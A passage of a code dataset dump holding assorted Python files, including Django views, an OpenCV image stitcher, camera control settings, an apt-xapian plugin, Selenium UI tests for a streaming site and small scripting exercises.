np.zeros(cell.output_size)).all()\n","sub_path":"test/testRnn.py","file_name":"testRnn.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"745309","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport httplib2\n\ndef tvrage(sername, season, episode):\n pat = re.compile('Episode Info@.*\\^(.*)\\^')\n ep = '{}x{}'.format(season, episode)\n url = \"http://services.tvrage.com/tools/quickinfo.php?show={name}&ep={ep}\"\\\n .format(name=sername, ep=ep)\n h = httplib2.Http('.serialscache')\n response, data = h.request(url)\n if response.status != 200:\n return 'Bad response'\n data = data.decode('utf-8')\n epname = re.findall(pat, data)[0]\n return epname\n\n\nif __name__ == '__main__':\n tvrage()","sub_path":"samples/tvshows/tvrage.py","file_name":"tvrage.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281949521","text":"\"\"\"\nSupport for standard dataset/app metadata\n\"\"\"\nimport collections\nimport urllib.parse\n\nimport attr\n\n__all__ = ['Publisher', 'License', 'Metadata']\n\n\n@attr.s\nclass Publisher:\n name = attr.ib(\n metadata=dict(ldkey=\"http://xmlns.com/foaf/0.1/name\"),\n default=None)\n place = attr.ib(\n metadata=dict(ldkey=\"dc:Location\"),\n default=None)\n url = attr.ib(\n metadata=dict(ldkey=\"http://xmlns.com/foaf/0.1/homepage\"),\n default=None)\n contact = attr.ib(\n metadata=dict(ldkey=\"http://xmlns.com/foaf/0.1/mbox\"),\n default=None)\n\n\n@attr.s\nclass License:\n name = attr.ib(\n default=\"Creative Commons Attribution 4.0 International License\")\n url = attr.ib(\n default=\"https://creativecommons.org/licenses/by/4.0/\")\n icon = attr.ib(\n default=\"cc-by.png\")\n\n\n@attr.s\nclass Metadata:\n publisher = attr.ib(default=Publisher(), validator=attr.validators.instance_of(Publisher))\n license = attr.ib(default=License(), validator=attr.validators.instance_of(License))\n url = attr.ib(default=None)\n title = attr.ib(default=None)\n description = attr.ib(default=None)\n\n @classmethod\n def from_jsonld(cls, d, defaults=None):\n defaults = defaults or {}\n kw = {}\n for k, v in [\n ('dcat:accessURL', 'url'),\n ('dc:title', 'title'),\n ('dc:description', 'description'),\n ]:\n val = d.get(k) or defaults.get(v)\n if val:\n kw[v] = val\n for ldkey, cls_ in [('dc:publisher', Publisher), ('dc:license', License)]:\n ckw = {}\n dd = d.get(ldkey, {})\n for f in attr.fields(cls_):\n ckw[f.name] = dd.get(f.metadata.get('ldkey', f.name)) \\\n or defaults.get('{0}.{1}'.format(ldkey.split(':')[1], f.name))\n kw[cls_.__name__.lower()] = cls_(**{k: v for k, v in ckw.items() if v})\n return cls(**kw)\n\n def to_jsonld(self):\n items = [(\"@context\", [\"http://www.w3.org/ns/csvw\", {\"@language\": \"en\"}])]\n for k, v in [\n ('dcat:accessURL', 'url'),\n ('dc:title', 'title'),\n ('dc:description', 'description'),\n ]:\n if getattr(self, v):\n items.append((k, getattr(self, v)))\n for ldkey, cls_ in [('dc:publisher', Publisher), ('dc:license', License)]:\n obj = getattr(self, ldkey.split(':')[1])\n json = collections.OrderedDict()\n for f in attr.fields(cls_):\n if getattr(obj, f.name):\n json[f.metadata.get('ldkey', f.name)] = getattr(obj, f.name)\n items.append((ldkey, json))\n return collections.OrderedDict(items)\n\n @property\n def domain(self):\n return urllib.parse.urlparse(self.url).netloc\n","sub_path":"asr-recipes/cv_greek/s5/test_env/lib/python3.8/site-packages/clldutils/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"375210359","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import RequestContext, loader\nfrom django.core.urlresolvers import reverse\n\nfrom blog.models import Post, Comment\n\n\n\"\"\"\nrenders the template for the blog view\n\"\"\"\ndef index(request):\n # posts ordered reverse chronologically. newest at top of page\n post_list = Post.objects.order_by('-id')\n posts_and_comments = []\n for post in post_list:\n # comments ordered by post order. oldest first\n posts_and_comments.append((post, Comment.objects.filter(post=post).order_by('id')))\n template = loader.get_template('index.html')\n context = RequestContext(request, {\n 'posts_and_comments': posts_and_comments,\n })\n return HttpResponse(template.render(context))\n\n\"\"\"\nposts a comment on a blog post\n\"\"\"\ndef comment(request, post_id):\n text = request.POST['comment_text']\n post_comment = Comment(post_id=post_id, text=text)\n post_comment.save()\n return HttpResponseRedirect(reverse('blog:index'))\n\n\"\"\"\ncreates a new blog post\n\"\"\"\ndef post(request):\n content = request.POST['content']\n post = Post(content=content)\n post.save()\n return HttpResponseRedirect(reverse('blog:index'))\n\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"429978951","text":"\"\"\"workroom URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.urls import include, path\nfrom django.contrib.auth import views as auth_views\nfrom django.contrib import admin\n\nurlpatterns = [\n path('accounts/', include('django.contrib.auth.urls')),\n \n path('kronos/', include(('kronos.urls', 'kronos'), namespace='kronos')),\n path('atom/', include(('atom.urls', 'atom'), namespace='atom')),\n path('hq/', include(('hq.urls', 'hq'), namespace='hq')),\n path('stronghold/', include(('stronghold.urls', 'stronghold'), namespace='stronghold')),\n path('admin/', admin.site.urls),\n]\n\n","sub_path":"workroom/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"145238949","text":"def subtotal(producto,cantidad):\n subtotal=producto + cantidad\n return subtotal\n\ncesta={}\ncentinela='si'\nfor i in range (11):\n while centinela=='si':\n clave=input(\"Producto a comprar: \")\n valor=int(input(clave+': '))\n cesta[clave]=valor\n print(cesta)\n centinela=input(\"Desea continuar? si/no: \")\nprint(cesta)\n\n\ntotal = 0\nfor null,valor in cesta.items():\n total += valor\nprint(\"el precio de los productos es: \", total)\nprint(\"el subtotal es: \", subtotal)\n\n ","sub_path":"momento2/punto2.py","file_name":"punto2.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"160115170","text":"from django.urls import path\nfrom . import views\n\napp_name = 'post'\n\nurlpatterns = [\n\tpath('', views.PostListView.as_view(), name='home'),\n\tpath('new/', views.post_create, name='create'),\n\tpath('search/', views.search_view, name='search'),\n\tpath('/', views.post_detail, name='detail'),\n\tpath('/update', views.post_update, name='update'),\n\tpath('/delete', views.post_delete, name='delete'),\n\tpath('/comment//update', views.post_comment_edit, name='edit-comment'),\n\tpath('/comment//delete', views.post_comment_delete, name='delete-comment'),\n]\n","sub_path":"src/post/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"568484205","text":"# Import libs\nfrom __future__ import print_function\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '5'\n\nimport numpy as np\nfrom models.resnet import ResNet\nfrom models.unet import UNet\nfrom models.skip import skip\nimport torch\nimport torch.optim\n\nfrom torch.autograd import Variable\nfrom utils.inpainting_utils import *\n\ntorch.backends.cudnn.enabled = True\ntorch.backends.cudnn.benchmark =True\ndtype = torch.cuda.FloatTensor\n\nPLOT = True\n#imsize=-1\nimsize = 64\ndim_div_by = 64\ndtype = torch.cuda.FloatTensor\n\n# Choose figure\nimg_path = 'data/inpainting/test.png'\nmask_path = 'data/inpainting/test_mask.png'\nNET_TYPE = 'skip_depth6' # one of skip_depth4|skip_depth2|UNET|ResNet\n\n# Load mask\nimg_pil, img_np = get_image(img_path, imsize)\nimg_mask_pil, img_mask_np = get_image(mask_path, imsize)\n\n# Center crop\nimg_mask_pil = crop_image(img_mask_pil, dim_div_by)\nimg_pil = crop_image(img_pil, dim_div_by)\n\nimg_np = pil_to_np(img_pil)\nimg_mask_np = pil_to_np(img_mask_pil)\n\nimg_mask_np = np.ones_like(img_mask_np)\n\n# Visualize\nimg_mask_var = np_to_var(img_mask_np).type(dtype)\n\nplot_image_grid([img_np, img_mask_np, img_mask_np*img_np], 3,11);\n\n# Setup\n\n\npad = 'reflection' # 'zero'\nOPT_OVER = 'net'\nOPTIMIZER = 'adam'\n\n\nINPUT = 'noise'\ninput_depth = 2\nLR = 0.01\nnum_iter = 3001\nparam_noise = False\nshow_every = 500\nfigsize = 5\n\nnet = skip(input_depth, img_np.shape[0],\n need_sigmoid=True, need_bias=True, pad=pad, act_fun='LeakyReLU').type(dtype)\n\n\nnet = net.type(dtype)\nnet_input = get_noise(input_depth, INPUT, img_np.shape[1:]).type(dtype)\n\n\n# Compute number of parameters\ns = sum(np.prod(list(p.size())) for p in net.parameters())\nprint ('Number of params: %d' % s)\n\n# Loss\nmse = torch.nn.MSELoss().type(dtype)\n\nimg_var = np_to_var(img_np).type(dtype)\nmask_var = np_to_var(img_mask_np).type(dtype)\n\n\n# Main loop\n\ni = 0\ndef closure():\n\n global i\n\n if param_noise:\n for n in [x for x in net.parameters() if len(x.size()) == 4]:\n n.data += n.data.clone().normal_()*n.data.std()/50\n\n out = net(net_input)\n\n total_loss = mse(out * mask_var, img_var * mask_var)\n total_loss.backward()\n\n print ('Iteration %05d Loss %f' % (i, total_loss.data[0]), '\\r', end='')\n if PLOT and i % show_every == 0:\n out_np = var_to_np(out)\n plot_image_grid([np.clip(out_np, 0, 1)], factor=figsize, nrow=1)\n\n i += 1\n\n return total_loss\n\np = get_params(OPT_OVER, net, net_input)\noptimize(OPTIMIZER, p, closure, LR, num_iter)\n\n\n\nout_np = var_to_np(net(net_input))\nplot_image_grid([out_np], factor=5);\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"295479784","text":"import pyv4l2\n\nfrom pyv4l2.frame import Frame\nfrom pyv4l2.control import Control\n\ncontrol = Control(\"/dev/video0\")\ncontrol.get_controls()\ncontrol.get_control_value(9963776)\n\n# get all default settings\nsettings = control.get_controls()\n\nfor setting in settings:\n print(\"Value {} = {}\".format(setting['name'], setting['value']))\n\n# set desired values\nprint()\nprint(\"------ setting values ----\")\ncontrol.set_control_value(9963776, 0) # brightness\ncontrol.set_control_value(9963777, 32) # contrast\ncontrol.set_control_value(10094849, 1) # exposure_auto\ncontrol.set_control_value(10094850, 3) # exposure_absolute\ncontrol.set_control_value(9963778, 64) # saturation\ncontrol.set_control_value(9963779, 0) # hue\ncontrol.set_control_value(9963792, 200) # gamma\ncontrol.set_control_value(9963802, 3250) # white_balance_temperature\ncontrol.close()\nprint(\"------ DONE ----\")\n\n# COMP CAM (as of 3/19/19)\n# brightness (int) : min=-64 max=64 step=1 default=-8193 value=-64\n# contrast (int) : min=0 max=64 step=1 default=57343 value=32\n# saturation (int) : min=0 max=128 step=1 default=57343 value=64\n# hue (int) : min=-40 max=40 step=1 default=-8193 value=0\n# white_balance_temperature_auto (bool) : default=1 value=1\n# gamma (int) : min=72 max=500 step=1 default=57343 value=200\n# gain (int) : min=0 max=100 step=1 default=57343 value=0\n# power_line_frequency (menu) : min=0 max=2 default=1 value=2\n# 0: Disabled\n# 1: 50 Hz\n# 2: 60 Hz\n# white_balance_temperature (int) : min=2800 max=6500 step=1 default=57343 value=3250 flags=inactive\n# sharpness (int) : min=0 max=6 step=1 default=57343 value=2\n# backlight_compensation (int) : min=0 max=2 step=1 default=57343 value=1\n# exposure_auto (menu) : min=0 max=3 default=0 value=1\n# 1: Manual Mode\n# 3: Aperture Priority Mode\n# exposure_absolute (int) : min=1 max=5000 step=1 default=157 value=20\n# exposure_auto_priority (bool) : default=0 value=1\n\n# ----------------------------------------------------------------------------------------------------------------- #\n# brightness (int) : min=0 max=15 step=1 default=-8193 value=1\n# contrast (int) : min=0 max=15 step=1 default=57343 value=15\n# saturation (int) : min=0 max=15 step=1 default=57343 value=15\n# hue (int) : min=-10 max=10 step=1 default=-8193 value=-10\n# white_balance_temperature_auto (bool) : default=1 value=1\n# gamma (int) : min=1 max=10 step=1 default=57343 value=10\n# gain (int) : min=0 max=0 step=0 default=20478 value=0\n# power_line_frequency (menu) : min=0 max=2 default=2 value=2\n# 0: Disabled\n# 1: 50 Hz\n# 2: 60 Hz\n# white_balance_temperature (int) : min=2800 max=6500 step=1 default=57343 value=2800 flags=inactive\n# sharpness (int) : min=0 max=15 step=1 default=57343 value=15\n# backlight_compensation (int) : min=0 max=1 step=1 default=57343 value=1\n# exposure_auto (menu) : min=0 max=3 default=0 value=1\n# 1: Manual Mode\n# 3: Aperture Priority Mode\n# exposure_absolute (int) : min=4 max=5000 step=1 default=625 value=4\n# focus_absolute (int) : min=0 max=21 step=1 default=57343 value=16 flags=inactive\n# focus_auto (bool) : default=1 value=1\n#\n","sub_path":"seecam_comp.py","file_name":"seecam_comp.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"485250920","text":"import sys\nimport os\nfrom os import listdir\nimport re\nimport gc\nfrom GPSPhoto import gpsphoto\nimport cv2\nimport PIL\nimport panorama\nimport numpy as np\nimport imutils\nimport shutil\nfrom math import sqrt\n\n\nclass ImageInfoFormat(object):\n def __init__(self, data_folder, name):\n self.data_folder = data_folder\n self.name = '{}/{}'.format(data_folder, name)\n self.seq = int(re.findall('\\d+', name)[0])\n\n def __repr__(self):\n return repr((self.data_folder, self.name, self.seq))\n\nclass Stitcher(object):\n def __init__(self, image1, image2, step, MAX_FEATURES, GOOD_MATCH_PERCENT):\n self.step = step\n self.MAX_FEATURES = MAX_FEATURES\n self.GOOD_MATCH_PERCENT = GOOD_MATCH_PERCENT\n self.image1 = image1\n self.image2 = image2\n self.keypoints1 = None\n self.keypoints1 = None\n self.H = None\n self.imMatches = None\n self.output_img = None\n\n def find_keypoints(self, algo):\n # Convert images to grayscale\n img1Gray = cv2.cvtColor(self.image1, cv2.COLOR_RGBA2BGRA)\n img2Gray = cv2.cvtColor(self.image2, cv2.COLOR_RGBA2BGRA)\n\n if algo == 'orb':\n detect_algo = cv2.ORB_create(self.MAX_FEATURES)\n elif algo == 'surf':\n detect_algo = cv2.xfeatures2d_SURF().create(self.MAX_FEATURES)\n elif algo == 'sift':\n detect_algo = cv2.xfeatures2d_SIFT().create(self.MAX_FEATURES)\n elif algo == 'fast':\n detect_algo = cv2.FastFeatureDetector_create(self.MAX_FEATURES)\n else:\n print('\\nDetect algorithm not exist.\\n')\n \n self.keypoints1, descriptors1 = detect_algo.detectAndCompute(img1Gray, None)\n self.keypoints2, descriptors2 = detect_algo.detectAndCompute(img2Gray, None)\n\n matcher = cv2.BFMatcher(cv2.NORM_L1, crossCheck=False)\n matches = matcher.match(descriptors1, descriptors2, None)\n\n return matches\n\n def get_good_matches(self, matches):\n # Sort matches by score\n matches.sort(key=lambda x: x.distance, reverse=False)\n\n # Remove not so good matches\n numGoodMatches = int(len(matches) * self.GOOD_MATCH_PERCENT)\n matches = matches[:numGoodMatches]\n \n # Draw top matches\n self.imMatches = cv2.drawMatches(self.image1, self.keypoints1, self.image2, self.keypoints2, matches, None)\n\n # Extract location of good matches\n points1 = np.zeros((len(matches), 2), dtype=np.float32)\n points2 = np.zeros((len(matches), 2), dtype=np.float32)\n\n for i, match in enumerate(matches):\n points1[i, :] = self.keypoints1[match.queryIdx].pt\n points2[i, :] = self.keypoints2[match.trainIdx].pt\n\n print(points1)\n print(points2)\n\n # Find homography\n H, mask = cv2.findHomography(points1, points2, cv2.RANSAC)\n return H\n\n def move_and_combine_images(self, H):\n points0 = np.array([\n [0, 0], \n [0, self.image2.shape[0]], \n [self.image2.shape[1], self.image2.shape[0]], \n [self.image2.shape[1], 0]\n ], dtype = np.float32)\n points0 = points0.reshape((-1, 1, 2))\n points1 = np.array([\n [0, 0],\n [0, self.image1.shape[0]], \n [self.image1.shape[1], self.image2.shape[0]], \n [self.image1.shape[1], 0]\n ], dtype = np.float32)\n points1 = points1.reshape((-1, 1, 2))\n points2 = cv2.perspectiveTransform(points1, H)\n\n points = np.concatenate((points0, points2), axis=0)\n [x_min, y_min] = np.int32(points.min(axis=0).ravel() - 0.5)\n [x_max, y_max] = np.int32(points.max(axis=0).ravel() + 0.5)\n H_translation = np.array([[1, 0, -x_min], [0, 1, -y_min], [0, 0, 1]])\n\n bg_size = (x_max - x_min, y_max - y_min)\n self.output_img = cv2.warpPerspective(self.image1, H_translation.dot(H), bg_size)\n\n print(self.image1.shape)\n print(self.image2.shape)\n\n self.output_img = black_to_transparent_bg_and_save(self.output_img)\n self.image1 = black_to_transparent_bg_and_save(self.image1)\n self.image2 = black_to_transparent_bg_and_save(self.image2)\n\n self.output_img[\n -y_min:self.image2.shape[0] - y_min, \n -x_min:self.image2.shape[1] - x_min] = self.image2\n\n transparent_result = black_to_transparent_bg_and_save(self.output_img)\n cv2.imwrite('results/image1.png', self.image1)\n cv2.imwrite('results/image2.png', self.image2)\n cv2.imwrite('results/matches.png', self.imMatches)\n cv2.imwrite('results/result.png', transparent_result)\n '''\n cv2.imshow('Result.jpg', cv2.resize(self.output_img, (800, 800)))\n cv2.waitKey(1000)\n cv2.destroyAllWindows()\n '''\n return self.output_img\n\n def save_step_result(self, interlacing=1):\n if self.step == 0:\n try:\n shutil.rmtree('results/steps')\n except(FileNotFoundError):\n os.mkdir('results/steps')\n os.mkdir('results/steps')\n if self.step % interlacing == 0:\n cv2.imwrite('results/steps/step_{}.png'.format(str(self.step+1)), self.output_img)\n\n return\n\ndef black_to_transparent_bg_and_save(image):\n #src = cv2.imread(file_name, 1)\n temp = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n _,alpha = cv2.threshold(temp, 0, 255, cv2.THRESH_BINARY)\n try: # judge 3 or 4 channel\n b, g, r = cv2.split(image)\n except(ValueError):\n b, g, r, t = cv2.split(image)\n\n rgba = [b, g, r, alpha]\n dst = cv2.merge(rgba,4)\n return dst\n\ndef read_file(data_folder):\n images_list = []\n lat_temp = lon_temp = 0\n for image in listdir(data_folder):\n image_path = '{folder}/{filename}'.format(folder=data_folder, filename=image)\n image_info = ImageInfoFormat(\n data_folder,\n image,)\n images_list.append(image_info)\n print(image_info)\n print(' Read images in {} images success. \\n Total {} images.\\n'.format(data_folder, len(images_list)))\n images_list = sorted(images_list, key = lambda s: s.seq)\n\n return images_list\n \ndef stitch(images_list):\n list_length = len(images_list)\n #cv2.imwrite('results/image1.png', cv2.resize(cv2.imread(images_list[0].name, cv2.IMREAD_UNCHANGED), (1920, 1440)))\n cv2.imwrite('results/image1.png', cv2.imread(images_list[0].name, cv2.IMREAD_UNCHANGED))\n #cv2.imwrite('results/image1.png', cv2.resize(cv2.imread('results/result.png', cv2.IMREAD_UNCHANGED), (1920, 1440)))\n image1 = cv2.imread('results/image1.png', cv2.IMREAD_UNCHANGED)\n print(' {}/{} {}'.format(1, list_length, images_list[0].name))\n for i, temp in enumerate(images_list[1::]):\n #cv2.imwrite('results/image2.png', cv2.resize(cv2.imread(temp.name, 1), (1920, 1440)))\n cv2.imwrite('results/image2.png', cv2.imread(temp.name, 1))\n\n image2 = cv2.imread('results/image2.png', cv2.IMREAD_UNCHANGED)\n\n stitcher = Stitcher(image1, image2, i, MAX_FEATURES = 3000, GOOD_MATCH_PERCENT= 0.25)\n matches = stitcher.find_keypoints('sift')\n H = stitcher.get_good_matches(matches)\n\n image1 = stitcher.move_and_combine_images(H)\n print(image1.shape)\n\n stitcher.save_step_result()\n print('\\n {}/{} {}'.format(i+2, list_length, temp.name))\n \n del stitcher, image2\n gc.collect()\n \n cv2.imwrite('result.png', image1)\n print('stitch images finish.')\n\n return\n\n\nif __name__ == '__main__':\n data_folder = sys.argv[1]\n images_list = read_file(data_folder)\n stitch(images_list)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"77023328","text":"import apt\nimport xapian\nimport os, os.path\n\nclass Sizes:\n def info(self):\n \"\"\"\n Return general information about the plugin.\n\n The information returned is a dict with various keywords:\n \n timestamp (required)\n the last modified timestamp of this data source. This will be used\n to see if we need to update the database or not. A timestamp of 0\n means that this data source is either missing or always up to date.\n values (optional)\n an array of dicts { name: name, desc: description }, one for every\n numeric value indexed by this data source.\n\n Note that this method can be called before init. The idea is that, if\n the timestamp shows that this plugin is currently not needed, then the\n long initialisation can just be skipped.\n \"\"\"\n file = apt.apt_pkg.Config.FindFile(\"Dir::Cache::pkgcache\")\n return dict(\n timestamp = os.path.getmtime(file),\n values = [\n dict(name = \"installedsize\", desc = \"installed size\"),\n dict(name = \"packagesize\", desc = \"package size\")\n ])\n\n def doc(self):\n \"\"\"\n Return documentation information for this data source.\n\n The documentation information is a dictionary with these keys:\n name: the name for this data source\n shortDesc: a short description\n fullDoc: the full description as a chapter in ReST format\n \"\"\"\n return dict(\n name = \"Sizes\",\n shortDesc = \"package sizes indexed as values\",\n fullDoc = \"\"\"\n The Sizes data source indexes the package size and the installed\n size as the ``packagesize`` and ``installedsize`` Xapian values.\n \"\"\"\n )\n\n def init(self, info, progress):\n \"\"\"\n If needed, perform long initialisation tasks here.\n\n info is a dictionary with useful information. Currently it contains\n the following values:\n\n \"values\": a dict mapping index mnemonics to index numbers\n\n The progress indicator can be used to report progress.\n \"\"\"\n # Read the value indexes we will use\n values = info['values']\n self.val_inst_size = values.get(\"installedsize\", -1)\n self.val_pkg_size = values.get(\"packagesize\", -1)\n\n def index(self, document, pkg):\n \"\"\"\n Update the document with the information from this data source.\n\n document is the document to update\n pkg is the python-apt Package object for this package\n \"\"\"\n try:\n instSize = pkg.installedSize\n pkgSize = pkg.packageSize\n except:\n return\n\n if self.val_inst_size != -1:\n document.add_value(self.val_inst_size, xapian.sortable_serialise(instSize));\n if self.val_pkg_size != -1:\n document.add_value(self.val_pkg_size, xapian.sortable_serialise(pkgSize));\n\n def indexDeb822(self, document, pkg):\n \"\"\"\n Update the document with the information from this data source.\n\n This is alternative to index, and it is used when indexing with package\n data taken from a custom Packages file.\n\n document is the document to update\n pkg is the Deb822 object for this package\n \"\"\"\n try:\n instSize = int(pkg[\"Installed-Size\"])\n pkgSize = int(pkg[\"Size\"])\n except:\n return\n\n if self.val_inst_size != -1:\n document.add_value(self.val_inst_size, xapian.sortable_serialise(instSize));\n if self.val_pkg_size != -1:\n document.add_value(self.val_pkg_size, xapian.sortable_serialise(pkgSize));\n\ndef init():\n \"\"\"\n Create and return the plugin object.\n \"\"\"\n return Sizes()\n","sub_path":"usr/share/apt-xapian-index/plugins/sizes.py","file_name":"sizes.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"227172093","text":"# -*- coding:utf-8 -*-\nfrom selenium import webdriver\n# from selenium.webdriver.common.by import By\n# from selenium.webdriver.common.keys import Keys\n# from selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport unittest\nimport time\nimport sys\nsys.path.append(\"..\")\nfrom public import pf\n# import HTMLTestRunner\n\n\nclass zt(unittest.TestCase):\n\n def setUp(self):\n # self.driver = webdriver.Firefox()\n self.driver = webdriver.Chrome()\n # self.driver = webdriver.Ie()\n self.driver.implicitly_wait(30)\n self.url = \"http://www.huomaotv.com.cn\"\n self.base_url = self.url + \"/index.php?c=huodong&a=new_ts4\"\n self.home_url = \\\n \"http://www.huomaotv.com/?from=topbanner?from=topbanner\"\n self.driver.maximize_window()\n self.verificationErrors = []\n self.accept_next_alert = True\n\n # 未登录用户页面功能检查\n def test_nologin(self):\n u\"\"\"未登录用户页面功能检查\"\"\"\n driver = self.driver\n # 进入首页\n driver.get(self.base_url)\n # 点击火猫logo\n driver.find_element_by_xpath('//*[@id=\"header\"]/h1/a').click()\n time.sleep(2)\n if driver.current_url != self.home_url:\n self.verificationErrors.insert(0, driver.current_url+\"url错误\")\n driver.back()\n # 点击首页\n driver.find_element_by_link_text(\"首页\").click()\n time.sleep(2)\n if driver.current_url != self.home_url:\n self.verificationErrors.insert(0, driver.current_url+\"url错误\")\n driver.back()\n # 点击直播\n time.sleep(1)\n driver.find_element_by_link_text(\"直播\").click()\n time.sleep(1)\n if driver.current_url != self.url + \\\n \"/channel/all?from=topbanner?from=topbanner\":\n self.verificationErrors.insert(0, driver.current_url+\"url错误\")\n driver.back()\n # 点击游戏\n driver.find_element_by_link_text(\"游戏\").click()\n time.sleep(2)\n if driver.current_url != self.url + \\\n \"/game?from=topbanner?from=topbanner\":\n self.verificationErrors.insert(0, driver.current_url+\"url错误\")\n driver.back()\n # 点击游戏下拉框\n a = driver.find_element_by_link_text(\"游戏\")\n ActionChains(driver).move_to_element(a).perform()\n time.sleep(3)\n driver.find_element_by_xpath(\n '//*[@id=\"header\"]/ul/li[3]/div/a').click()\n time.sleep(2)\n if driver.current_url != self.url + \\\n \"/game?from=topbanner?from=topbanner\":\n self.verificationErrors.insert(0, driver.current_url+\"url错误\")\n driver.back()\n # 搜索\n driver.find_element_by_id('search_kw').send_keys(666)\n driver.find_element_by_xpath('//*[@id=\"search_frm\"]/button').click()\n # 页面重新加载后需要等待时间\n time.sleep(2)\n try:\n driver.find_element_by_partial_link_text('推荐').click()\n except:\n self.verificationErrors.insert(0, \"搜索结果页面显示错误\")\n time.sleep(2)\n driver.get(self.base_url)\n # 提示登录弹框\n arr_links = ['登录', '注册', '申请直播', '任务', '签到', '登陆领仙豆', '立即登录']\n for arr_link in arr_links:\n driver.find_element_by_link_text(arr_link).click()\n time.sleep(1)\n driver.find_element_by_class_name('close').click()\n time.sleep(1)\n # 仙豆选择\n driver.find_element_by_id('xw_zs').click()\n time.sleep(1)\n driver.find_element_by_link_text('10').click()\n time.sleep(1)\n driver.find_element_by_class_name('close').click()\n # 发送\n time.sleep(1)\n driver.find_element_by_id('chat_btn').click()\n time.sleep(1)\n driver.find_element_by_class_name('close').click()\n time.sleep(2)\n # 页面底部链接(暂时无判断)\n arr_footers = ['关于我们', '招贤纳士', '问题反馈', '帮助中心', '在线客服']\n for arr_footer in arr_footers:\n driver.find_element_by_link_text(arr_footer).click()\n time.sleep(2)\n driver.switch_to_window(driver.window_handles[0])\n\n # 登录用户(未绑定手机或者邮箱)\n def test_loginnoie(self):\n \"\"\"登录用户页面功能检查\"\"\"\n print('666')\n driver = self.driver\n driver.get(self.base_url)\n # 插入cookie登录\n pf.cookie_login(357849, 'a3d2069c05db53d6dde9d526b7697f1e',\n 1447663698, driver)\n\n driver.find_element_by_class_name('btn_login').click\n self.verificationErrors.insert(0, \"xxx错误\")\n\n def is_element_present(self, how, what):\n try:\n self.driver.find_element(by=how, value=what)\n except NoSuchElementException:\n return False\n return True\n\n # 异常弹框处理\n def is_alert_present(self):\n try:\n self.driver.switch_to_alert()\n except NoAlertPresentException:\n return False\n return True\n\n # 关闭警告以及对得到文本框的处理\n def close_alert_and_get_its_text(self):\n try:\n alert = self.driver.switch_to_alert()\n alert_text = alert.text\n if self.accept_next_alert:\n alert.accept()\n else:\n alert.dismiss()\n return alert_text\n finally:\n self.accept_next_alert = True\n\n # 清理结果\n def tearDown(self):\n self.driver.quit()\n self.assertEqual([], self.verificationErrors)\n","sub_path":"testcase/f/case_zt.py","file_name":"case_zt.py","file_ext":"py","file_size_in_byte":5823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"46264592","text":"import requests\nimport json\nimport jsonpath\n\nurl = \"https://reqres.in/api/users\"\n\n#read input json file\n\nfile = open('//Users//nareshmanhas//Desktop//hello//CreateJson.json','r')\njson_input = file.read()\nrequest_json = json.loads(json_input)\n\n\n#make post request json input body\nresponse = requests.post(url,request_json)\n\n\n#validating response code\nassert response.status_code == 201\n\n#fetch header from response\nprint(response.headers.get('Set-Cookie'))\n\n#parse response to json format\n\nresponse_json = json.loads(response.text)\n\n#pick id from json path\n\nid = jsonpath.jsonpath(response_json,'id')\nprint(id[0])\n\n\n\n","sub_path":"Get_Request/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270321928","text":"import os\nimport yaml\nimport requests\nfrom openapi_client import ApiClient, Configuration\n\n\nDEFAULT_TRIFACTA_CONFIG_DIR = os.path.join(os.path.expanduser('~'), '.trifacta')\nTRIFACTA_CONFIG_DIR = os.path.expanduser(DEFAULT_TRIFACTA_CONFIG_DIR)\n\n\nclass TrifactaConfig:\n def __init__(self, config_dir, profile):\n config_path = os.path.abspath(config_dir + '/config.yml')\n with open(config_path, \"r\") as stream:\n self.config = yaml.safe_load(stream)\n self.active_profile = 